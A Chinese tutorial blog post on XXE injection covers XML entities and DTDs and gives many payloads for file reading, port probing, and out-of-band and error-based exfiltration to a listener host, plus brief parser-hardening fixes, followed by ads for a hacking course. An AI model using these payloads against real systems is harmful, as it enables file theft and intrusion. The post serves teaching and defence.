xxe攻击的原理至利用,从零基础到精通,收藏这篇就够了!

XXE 漏洞:不仅仅是XML解析那么简单

XML外部实体注入 (XXE),这玩意儿说白了,就是应用程序解析XML输入的时候,没把外部实体加载这道门给焊死。结果呢?攻击者就能偷偷摸摸地加载任意外部文件,轻则读取敏感信息,重则直接给你来个命令执行,甚至还能扫描内网端口、攻击内网网站,搞不好还能发起拒绝服务攻击 (DoS)。这可不是闹着玩的!

等等,啥是XML?

XML,这是一种标记语言,但它和HTML的用途可不一样。HTML是用来展示数据的,而XML,它的核心使命是传输和存储数据。

<?xml version="1.0" encoding="UTF-8"?>
<person>
  <name>john</name>
</person>

第一行是XML文档的声明,有时候可以省略。<person>是根元素标签,这玩意儿可不像HTML那样标签是固定的,XML标签你可以根据需求自定义(注意大小写敏感)。name是子元素标签,标签必须成对出现。

关键点来了!XML文档里不能直接包含 < > " ' 这些特殊字符,因为它们会干扰XML解析器的正常工作。为了解决这个问题,XML引入了“实体”的概念。

实体就像是变量的快捷方式,可以用来引用普通文本或特殊字符。它不仅能存储数值,还能从本地或远程文件里读取数据,供后续引用。

实体这玩意儿,你就可以把它想象成编程语言里的变量,可以赋值,还能在代码的各个地方引用。实体在XML文档的DTD部分定义,就像这样:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
  <!ENTITY name "gouzi">  // 定义一个实体name,值为gouzi
]>
<person>
  <name>&name;</name>  // <name>gouzi</name>
</person>

DTD的作用是定义XML文档包含哪些模块,以及这些模块里有哪些内容。

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

重点在于,实体部分可以加载外部实体,这也就意味着,在可以控制XML输入的地方,就可能存在XXE漏洞。

实体主要有三种:

  1. 一般实体:
<!ENTITY name "gouzi">
……
<name>&name;</name>

在DTD中定义,在XML中引用,调用方式是 &实体名;

  1. 参数实体:
<!ENTITY % data "<!ENTITY % name 'gouzi'>">
%data;  //<!ENTITY % name 'gouzi'>">

只能在DTD中引用,引用方式是 %实体名;,可以使用参数实体引用其他实体。

  1. 预定义实体:

XML预先定义好的一些特殊符号,比如:

实体不仅可以存储数据,还可以从本地或远程读取数据,这就是内部实体和外部实体的区别。

内部实体声明:

<!ENTITY 实体名称 "实体的值">
<!ENTITY name "gouzi">
……
<name>&name;</name>

外部实体声明:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY test SYSTEM "1.txt"> ]>
<creds>&test;</creds>

通过关键字 SYSTEM 定义一个外部实体 test,存储的是 1.txt 文件的内容。

关键在于,这里的 1.txt 可以替换成协议,支持的协议包括:

XXE攻击手法大揭秘:花式利用,总有一款适合你

XXE攻击主要分为三种类型:带内 (inband)、基于错误 (error-based) 和带外 (OOB)。

上面的例子就属于带内,可以直接在屏幕上看到结果:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY test SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&test;</creds>

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY test SYSTEM "c:/windows/system.ini"> ]>
<creds>&test;</creds>

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY test SYSTEM "http://127.0.0.1:81/xxe/1.txt"> ]>
<creds>&test;</creds>

看到了吧?用不同的协议都可以读取文件。

前面提到过,XML文档里不能直接包含 < 之类的字符,否则会报错,比如:

解决办法有两个:

  1. 使用PHP协议进行编码(PHP限定):

根据PHP官方文档,可以使用PHP协议进行编码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<creds>&test;</creds>

注意:这种方法有局限性,因为XML在各种语言中都有应用。

  1. 使用 CDATA

根据XML官方文档,XML有一种叫做 CDATA 的结构:

CDATA 表示字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

简单来说,CDATA 里的 <> 之类的字符不会被解析,也就不会干扰XML的正常解析。

CDATA 的语法是:

<![CDATA[  // 开始
<text>
]]>  // 结束

构造后的payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY start "<![CDATA[">
<!ENTITY test SYSTEM "xxe.php">
<!ENTITY end "]]>">
]>
<creds>&start;&test;&end;</creds>

理论上会变成 <creds><![CDATA[ 文件内容 ]]></creds>,但这种构造不符合XML规范:标签必须在同一个实体中闭合。

所以可以使用参数实体:

最终构造结果:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % start "<![CDATA[">
<!ENTITY % test SYSTEM "http://127.0.0.1:81/xxe/xxe.php">
<!ENTITY % end "]]>">
<!ENTITY % zuhe "<!ENTITY all '%start;%test;%end;'>">
%zuhe;
]>

但这种构造容易出现以下错误:

也就是说,禁止在实体内部引用实体(禁止套娃?)。

那就构造外部DTD文件:

需要上传以下DTD文件:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%test;%end;">

构造payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % start "<![CDATA[">
<!ENTITY % test SYSTEM "xxe.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "evil2.dtd">
%dtd; ]>

<creds>&all;</creds>

除了读取文件,XXE还可以用于端口探测:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY test SYSTEM "http://127.0.0.1:81"> ]>
<creds>&test;</creds>

比如报错 403,说明端口开放。再比如探测 8378 端口:

OOB(带外):

如果网页没有回显,可以通过DTD访问远程文件的方式把数据带出。

构造以下DTD文件:

<!ENTITY % passwd SYSTEM "E:/study/code/xxe/1.txt">
<!ENTITY % int "<!ENTITY send SYSTEM 'http://192.168.1.82:1337/?%passwd;'>">

在服务器 192.168.1.82 监听 1337 端口,构造以下payload:

<!DOCTYPE creds [
<!ENTITY % remote SYSTEM "evil1.dtd">
%remote;%int;%send;
]>
<creds>&send;</creds>

上面的利用结合了“套娃”的思想。

<?xml version="1.0" ?>
<!DOCTYPE creds [
 <!ENTITY % test '
 <!ENTITY &#x25; file SYSTEM "1.txt">
 <!ENTITY &#x25; error "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://192.168.1.82:1337/&#x25;file;&#x27;>">
 &#x25;error;
 &#x25;send;
'>
 %test;
]>

Error-based(基于错误):

当既不能显示,也不能连接外部网络时,可以使用报错。这种方法类似于SQL注入中的盲注,都是把想要的信息以报错的形式显示出来。

XXE的报错思路是,先把想要的信息弄出来,然后让后面的语句报错。

比如下面用 file:// 读取不存在的文件,也可以换成 http:// 访问不存在的地址。

构造DTD文件:

<!ENTITY % file SYSTEM "1.txt">
<!ENTITY % error "<!ENTITY &#x25; send SYSTEM 'file:///dddd/%file;'>">
%error;
%send;

Payload:

<?xml version="1.0" ?>
<!DOCTYPE creds [
 <!ENTITY % test SYSTEM "error.dtd">
 %test;
]>

两者结合一下,还可以使用下面的payload:

<?xml version="1.0" ?>
<!DOCTYPE creds [
 <!ENTITY % test '
 <!ENTITY &#x25; file SYSTEM "1.txt">
 <!ENTITY &#x25; error "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file:///dddddd/&#x25;file;&#x27;>">
 &#x25;error;
 &#x25;send;
'>
 %test;
]>
<creds></creds>

如何防御XXE攻击?亡羊补牢,犹未晚矣!

最有效的防御方法是禁用外部实体:

  1. PHP:
libxml_disable_entity_loader(true);
  1. Java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);
  1. Python:
from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

总结:XXE,你学会了吗?

本文深入剖析了XXE漏洞的原理,从XML的结构入手,介绍了实体的概念、分类和作用,以及DTD的组成和作用,并进一步讲解了DTD在XXE中的应用,例如文件探测、内容传输等。

通过XML中不同模块的功能,对文件读取进行了扩展利用,例如使用CDATA和PHP协议读取包含特殊字符的文件。

如果在利用过程中遇到问题,可以尝试“套娃”思想进行嵌套,如果报错,就把 < ' 之类的字符进行实体化编码。总而言之,XXE漏洞的利用需要灵活变通,才能达到最终目的。
```

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值